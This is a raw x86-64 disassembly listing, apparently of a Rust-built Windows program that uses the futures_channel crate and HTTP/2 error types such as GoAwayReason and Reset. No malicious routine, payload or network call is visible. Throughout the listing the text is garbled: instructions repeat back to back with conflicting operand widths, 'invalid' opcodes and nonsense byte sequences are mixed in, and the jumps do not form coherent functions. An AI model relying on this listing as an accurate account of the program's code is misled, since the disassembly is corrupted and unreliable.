mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
ud2
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
mov ecx, 8
mov edx, 0x60
call fcn.1401082c0
mov ecx, 8
mov edx, 0xb0
call fcn.1401082c0
int3
add esp, 0x20
pop rsi
ret
mov eax, dword [rdx + 0x28]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x140034bb0
test rax, rax
jne 0x140034be8
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
je 0x140034be8
mov r14, r8
call qword [rax + 8]
mov r8, r14
mov r15, qword [r8]
lea rcx, [rsp + 0x20]
mov rdx, rbx
call case.0x14001a3ad.1544
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x20
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x20
cmp r14, 2
jne 0x140034dac
mov r12, qword [rbx]
test r12, r12
je 0x1400350e4
mov ecx, 1
xor eax, eax
lock cmpxchg qword [r12 + 0x58], rcx
cmp rax, 2
je 0x140034edf
test rax, rax
jne 0x140034f65
mov rdx, qword [r12 + 0x48]
mov rax, qword [r15]
mov rax, qword [r15]
test rdx, rdx
je 0x140034f04
mov rcx, qword [r15 + 8]
cmp qword [r12 + 0x50], rcx
push rax
push rax
jne 0x140034f08
cmp rdx, rax
je 0x140034f2c
jmp 0x140034f08
lea ecx, [rsp + 0x48]
mov rdx, r14
call fcn.14002d180
movzx eax, byte [rsp + 0x48]
cmp eax, 7
je 0x140034e5c
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x7f], rcx
movups xmm0, xmmword [rsp + 0x49]
movaps xmmword [rsp + 0x70], xmm0
mov rbx, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
cmp eax, 5
je 0x140034e88
cmp eax, 6
je 0x140034f80
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x49]
mov byte [rsp + 0x20], al
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x21], xmm0
mov rcx, qword [rcx + 0xf]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rbx
cmp byte [rcx + rcx*4 + 0x64], cl
and al, 0x40
cmp byte [rcx + rcx*4 + 0x64], cl
and al, 0x40
test eax, eax
je 0x140034f8c
cmp eax, 1
je 0x140034d1c
cmp eax, 2
jne 0x140034f9c
mov ecx, dword [rsp + 0x24]
test ecx, 0xfffffff7
jne 0x140034f9c
mov qword [rsi], 0
test eax, eax
je 0x1400350d1
cmp eax, 1
je 0x140035026
cmp eax, 2
je 0x1400350d1
mov rax, qword [rsp + 0x28]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400350d1
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140034d95
cmp qword [rbx + 0x10], 0x11
jb 0x140034d83
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400350d1
invalid
add eax, dword [rax]
invalid
and eax, 0xf000003
adc byte [rsp + 0x28], al
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
cmp r14d, 1
je 0x140034de9
mov rax, qword [rbx]
test rax, rax
je 0x140034de2
lock dec qword [rax]
jne 0x140034de2
mov rcx, rbx
call fcn.1400353d0
fld1
out dx, al
add eax, 0xc7480000
add eax, dword [rax]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x90], al
mov qword [rbx], 0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x50], xmm0
test r14, r14
je 0x140034f80
cmp r14, 1
jne 0x140034e5c
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test rcx, rcx
je 0x140034eec
mov rdx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov r9, qword [rdi + 8]
cmp r9, 0xfffffffffffffffd
ja 0x140034e40
sub r9, rdx
mov qword [rdi + 8], r9
mov qword [rsi], 1
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rdx
mov qword [rsi + 0x20], r8
jmp 0x1400350d1
mov qword [rsi], 2
add al, byte [rax]
add byte [rax], al
jmp 0x1400350d1
mov dword [rsi + 0x20], eax
jmp 0x1400350d1
lea rcx, [rsp + 0x20]
mov rdx, r14
mov r8, rbx
call fcn.14002db00
invalid
invalid
dec dword [rdi]
mov dh, 0x44
and al, 0x20
cmp eax, 5
je 0x140035098
invalid
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x140035098
test eax, eax
je 0x140035098
fiadd word [rcx]
add byte [rax], al
fiadd word [rcx]
add byte [rax], al
cmp eax, 1
jne 0x140035040
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
jmp 0x140035098
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
mov ecx, dword [rdi + 8]
add rax, 0x10
jmp 0x140034f63
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rax
jmp 0x1400350d1
mov rcx, qword [r15 + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x140034f22
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov qword [r12 + 0x48], r14
mov qword [r12 + 0x50], r15
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r12 + 0x58], rcx
pop rax
je 0x140034f65
mov rax, qword [r12 + 0x48]
mov rcx, qword [r12 + 0x50]
mov qword [r12 + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
test rax, rax
je case.0x14001a3ad.1540
xor edx, edx
xchg qword [r12 + 0x58], rdx
add rax, 8
call qword [rax]
lea rcx, [rsp + 0x48]
mov rdx, rbx
call case.0x14001a3ad.1544
mov r14, qword [rsp + 0x48]
test r14, r14
jne 0x140034e0c
mov qword [rsi], 0
jmp 0x1400350d1
add byte [rax], al
add cl, ch
add dword [r8], r8d
add byte [rbx - 0x8d7dbb4], cl
sal edi, 0xff
idiv edi
mov ecx, dword [rsp + 0x28]
test ecx, 0xfffffff7
idiv edi
invalid
dec dword [rdi]
invalid
nop
std
invalid
invalid
idiv edi
invalid
movzx eax, byte [0x140182310]
adc al, 0
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400350f0
test byte [rax], bh
add dword [rax], eax
invalid
test byte [rax], bh
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x140182310]
mov dh, 5
invalid
rcl dword [rax + rax], cl
mov dh, 5
invalid
add eax, 0x14d33f
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14003510b
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x40
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x20], rcx
mov dword [rax + 0x20], ecx
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rdi], rax
mov dword [rdi], eax
mov dword [rdi], eax
lea rax, [0x14012b430]
lea eax, [0x14012b430]
mov qword [rdi + 8], rax
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rdi
jmp 0x1400350d1
stosd dword [rdi], eax
add byte [rax], al
invalid
stosd dword [rdi], eax
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, rbx
call qword [rax + 0x10]
jmp 0x1400350d1
mov rax, qword [rsp + 0x28]
and al, 0x28
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140035098
lea r14, [rax - 1]
mov r15, qword [rax - 1]
mov r13, qword [rax + 7]
mov rcx, r15
call qword [r13]
cmp qword [r13 + 8], 0
invalid
je 0x140035086
add byte [rbp + rbx + 0x49], dh
cmp dword [rbp + 0x10], 0x11
cmp qword [r13 + 0x10], 0x11
jb 0x140035074
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
enter 0xde2, 0
lea r14, [rsp + 0x77]
mov rax, qword [rdi + 0x10]
ja 0x1400350e6
mov eax, dword [rdi + 0x10]
cmp rax, 0xfffffffffffffffd
ja 0x1400350ae
sub rax, rbx
mov qword [rdi + 0x10], rax
mov rcx, qword [rdi + 8]
mov rdx, rbx
call fcn.1400354e0
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movups xmm0, xmmword [r14]
movups xmmword [rsi + 8], xmm0
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r12
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
or eax, 0x10d965
call fcn.140108970
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
lea rcx, [0x1401162b0]
call fcn.140108970
mov ecx, 8
mov edx, 0x28
add byte [rax], al
add byte [rdx + 0x28], bh
call fcn.1401082c0
int3
invalid
loope 0x14003515e
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
mov rax, qword [r14 + 0x10]
cmp rax, rbx
je 0x1400351d6
call r15
mov rbx, qword [r14 + 0x18]
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x140035160
mov qword [r14 + 0x18], rax
cmp qword [rbx], 0
jne 0x14003539d
cmp qword [rax], 0
je 0x1400353b5
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov qword [rax], 0
cmp qword [rbx], 0
je 0x1400351fb
mov rax, qword [rbx + 8]
test rax, rax
je 0x1400351f2
lea rcx, [rbx + 0x20]
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
call qword [rax + 0x10]
jmp 0x1400351fb
clc
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x1400352fc
mov qword [rsi], 2
mov dword [rsi], 2
jmp 0x1400352ce
lea rcx, [rbx + 0x10]
call fcn.140035b40
adc al, ch
or dword [r8], r8d
add byte [rax - 0x75], cl
or eax, 0x14d05e
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0xde153
adc eax, 0xde153
mov r14, qword [rdi]
test r14, r14
je 0x1400352b5
lea rcx, [r14 + 0x20]
call fcn.140035bf0
test rax, rax
je 0x1400352b0
add byte [rax], al
add byte [rax], al
mov rbx, rax
mov r14, rax
add r14, 0x10
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], cl
jne 0x140035322
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
add byte [rax - 0x2f], cl
loopne 0x140035297
test eax, eax
jne 0x14003533d
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x140035354
mov byte [rbx + 0x28], 0
mov rax, qword [rbx + 0x18]
sbb byte [r8 - 0x75], cl
and byte [r8 - 0x39], cl
sbb byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x140035281
sbb byte [r8 - 0x75], cl
and byte [r8 - 0x39], cl
sbb byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
or byte [rax - 0x7c], al
in eax, dx
call qword [rax + 8]
test bpl, bpl
jne 0x140035299
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
add byte [rax - 0x2f], cl
loopne 0x1400352d9
test eax, eax
jne 0x140035387
add byte [rax], al
xor eax, eax
xchg byte [r14], al
cmp al, 2
je 0x1400352db
lock dec qword [rbx]
je 0x1400352ea
mov r14, qword [rdi]
test r14, r14
je 0x1400352b5
lock dec qword [r14 + 0x38]
mov qword [rsi], 1
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x18], xmm1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
pop rdi
ret
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock dec qword [rbx]
jne 0x1400352a8
mov rcx, rbx
call fcn.140066cf0
mov r14, qword [rdi]
test r14, r14
jne 0x1400352b0
jmp 0x1400352b5
mov rax, qword [rdi]
test rax, rax
je 0x140035312
lock dec qword [rax]
jne 0x140035312
mov rcx, rdi
call fcn.1400353d0
mov qword [rdi], 0
mov qword [rsi], 0
jmp 0x1400352ce
mov rcx, r14
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140035257
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x140035265
mov qword [rsp + 0x30], r14
mov byte [rsp + 0x38], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov ss, word [r8]
add byte [rax - 0x77], cl
and al, 0x20
mov ss, word [r8]
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012b718]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x140035299
mov byte [rbx + 0x11], 1
jmp 0x140035299
lea rcx, str.assertion_failed:__tail_.value.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
lea r8, [0x14013e300]
mov edx, 0x29
call fcn.140108630
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013e348]
mov edx, 0x29
call fcn.140108630
int3
lea edx, str.kind
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 4
call fcn.140014510
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x1400356b3
mov al, 1
test cl, cl
je 0x1400356be
add rsp, 0x40
pop rsi
ret
test cl, cl
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x1400356e0
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
mov r8d, 2
jmp 0x1400356f5
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov esp, 0x41001151
mov eax, 1
mov esp, 0x41001151
mov eax, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rsi
ret
in al, dx
jo 0x14003574e
mov eax, dword [rcx]
movzx ecx, byte [rax]
lea r8, [0x1401779cc]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
lea rcx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 4]
add rax, 8
lea rcx, [0x14012bdc0]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
lea rcx, [0x14012bda0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x14012bd80]
mov qword [rsp + 0x20], rax
lea rax, str.Reset
mov r8d, 5
jmp 0x14003591d
add rax, 8
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x140140210]
mov r8d, 2
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14012be40]
jmp 0x140035849
add rax, 4
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x1401401be]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14012be00]
jmp 0x140035849
inc rax
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.User
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
add dh, al
and al, 0x61
add byte [rbp + rcx*4 + 5], cl
add eax, 0xf65d7
add dh, al
and al, 0x61
add byte [rbp + rcx*4 + 5], cl
invalid
add eax, 0xf65d7
xlatb
str word gs:[rax - 0x73]
and al, 0x50
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.140016570
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rsp + 0x60]
test rcx, rcx
je 0x1400358bf
pop rax
pop rax
mov al, 1
test dl, dl
jne 0x1400358c1
mov rsi, qword [rsp + 0x58]
cmp rcx, 1
jne 0x1400358a5
cmp byte [rsp + 0x61], 0
je 0x1400358a5
jl 0x14003589f
invalid
test byte [rsi + 0x34], 4
jne 0x1400358a5
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x10f2ec
invalid
mov rax, qword [rsi + 0x28]
lea rdx, str._____
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400358c1
add dword [rcx + rcx*8 - 0x74b7e38b], eax
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x1187c4
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400358c1
mov eax, edx
test al, al
setne al
add rsp, 0x70
add esp, 0x70
add esp, 0x70
pop rsi
ret
lea rcx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 8]
add rax, 4
lea rcx, [0x14012bdc0]
str word [rax - 0x77]
and al, 0x40
str word [rax - 0x77]
and al, 0x40
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x38], ecx
lea rcx, [0x14012bda0]
mov qword [rsp + 0x30], rcx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
lea rax, [0x14012bde0]
mov qword [rsp + 0x20], rax
and al, 0x20
str word [rax - 0x77]
add byte [rax - 0x77], cl
and al, 0x20
lea rax, str.GoAwayReason
mov r8d, 6
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov rdx, rax
call fcn.140016f30
call qword [rax + 0x70c48348]
ror dword [rax - 0x77], 1
ret 0x8e8
call qword [rax + 0x70c48348]
pop rsi
ret
int3
mov rax, qword [rcx]
movzx eax, byte [rax]
lea rcx, [0x140174a10]
adc eax, dword [rax]
adc eax, dword [rax]
mov r8, qword [rcx + rax*8]
lea rcx, str.InactiveStreamIdUnexpectedFrameTypePayloadTooBigRejectedReleaseCapacityTooBigOverflowedStreamIdMalformedHeadersMissingUriSchemeAndAuthorityPollResetAfterSendResponseSendPingWhilePendingSendSettingsWhilePendingPeerDisabledServerPushLibraryRemoteElapsed
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
lea ecx, [0x140174ae8]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
in al, dx
mov rsi, rdx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x10c824
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x10c824
mov r8d, 8
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x1400359ed
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
sbb byte [rax - 0x77], cl
je 0x1400359ed
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14012b798]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
mov ch, 0x5d
str word [rax - 0x73]
and al, 0x20
lea rdx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140035a59
mov al, 1
test dl, dl
jne case.0x14002a2ab.769
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x140035a3f
cmp byte [rsp + 0x31], 0
je 0x140035a3f
test byte [rsi + 0x34], 4
jne 0x140035a3f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x10f152
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x10f152
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
jne case.0x14002a2ab.769
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
jmp case.0x14002a2ab.769
mov eax, edx
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
pop rsi
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
int3
int3
mov rsi, rcx
mov rdx, qword [rcx + 0x40]
mov edx, dword [rcx + 0x40]
mov edx, dword [rcx + 0x40]
mov ecx, 1
xor eax, eax
lock cmpxchg qword [rdx + 0x10], rcx
cmpxchg qword [rdx + 0x10], rcx
add byte [rcx], dh
sal al, 0x48
cmpxchg qword [rdx + 0x10], rcx
cmpxchg qword [rdx + 0x10], rcx
mov cl, 0x4a
adc byte [rax - 0x7b], cl
sal byte [rsi + rax + 0x48], 0x83
invalid
test rax, rax
je 0x140035a94
add rsp, 0x20
pop rsi
and byte [rsi - 0x3d], bl
ret
mov rax, qword [rdx + 0x28]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
mov cl, 0x4a
sub byte [rbp - 0xf], dh
mov cl, 0x4a
sub byte [rbp - 0xf], dh
test rax, rax
jne 0x140035ad2
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
sbb byte [rax - 0x75], cl
and byte [rax - 0x39], cl
sbb byte [rax], al
add byte [rax], al
add al, dh
and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
je 0x140035ad2
call qword [rax + 8]
call fcn.1400df770
cdq
pushfq
or al, byte [rax]
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], edx
add rsp, 0x20
pop rsi
ret
int3
add eax, 0x14c800
shl rax, 1
test rax, rax
jne 0x140035b2b
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne case.0x140031ef2.720
add rsp, 0x20
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x20
pop rsi
ret
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
test al, al
jne 0x140035b10
invalid
invalid
mov byte [rcx + 1], 1
jmp 0x140035b10
pop rsi
or byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140035b7f
adc ecx, dword [rax - 0x7d]
jnp 0x140035b67
add byte [rbp + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jb 0x140035b6d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
loope 0x140035b54
invalid
invalid
loope 0x140035b54
or eax, 0x297e8000
add dh, byte [rcx + rcx*2 + 0x48]
mov edi, dword [rsi + 0x10]
cmp byte [rsi + 0x29], 2
je 0x140035bce
mov rdi, qword [rsi + 0x10]
test rdi, rdi
je 0x140035bbb
mov rbx, qword [rsi + 0x18]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140035bbb
invalid
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
cmp qword [rbx + 0x10], 0x11
jb 0x140035ba9
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
and al, dh
dec qword [rax]
jne 0x140035bce
mov rcx, qword [rsi + 0x20]
call fcn.1400398e0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7b], cl
sal byte [rbp + 0x20], 0x31
test byte [rax - 0x75], 0x1d
leave
invalid
or byte [rax - 0x7b], cl
sal byte [rbp + rdx - 0x10], 0x48
dec dword [rax]
jne 0x140035c60
mov rcx, qword [r8 + 8]
mov rdi, r8
call fcn.140066cf0
mov r8, rdi
mov rcx, qword [0x140182260]
or eax, 0x14c5f9
add byte [rcx], dh
sar bh, cl
adc eax, 0xdd6f1
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rdx + 0x29], bh
call fcn.140108630
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013e348]
add byte [rbp + rcx*4 + 5], cl
test al, 0x86
adc byte [rax], al
mov edx, 0x29
call fcn.140108630
invalid
add ah, cl
or eax, 0xcccccc00
int3
cmp byte [rcx], 4
jne 0x140035d14
mov rdi, qword [rdi + 8]
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140035d7d
lahf
add byte [rax], al
invalid
lahf
add byte [rax], al
add byte [rax - 0x77], cl
mov dh, 0x40
sub dword [rdx], eax
mov rsi, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
xchg dword [rax], eax
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
xchg dword [rax], eax
add byte [rax], al
mov qword [rax], rdi
mov qword [rsi], rax
invalid
lea rax, [0x14012b520]
jmp 0x140035d6f
invalid
movzx eax, byte [0x140182310]
mov edx, 0x38
cmp byte [rax], al
add byte [rax], al
invalid
cmp byte [rax], al
add byte [rax], al
invalid
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140035d7d
mov rsi, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0xb
movzx eax, byte [0x140182310]
mov edx, 0x28
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x140035d9b
mov rcx, qword [rdi + 0x20]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
adc byte [rdi], cl
adc dword [rax], eax
adc byte [rdi], cl
adc dword [rax], eax
mov qword [rsi], rax
lea rax, [0x14012b430]
push rsi
str word [rax - 0x77]
or byte [rax - 0x77], r9b
invalid
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
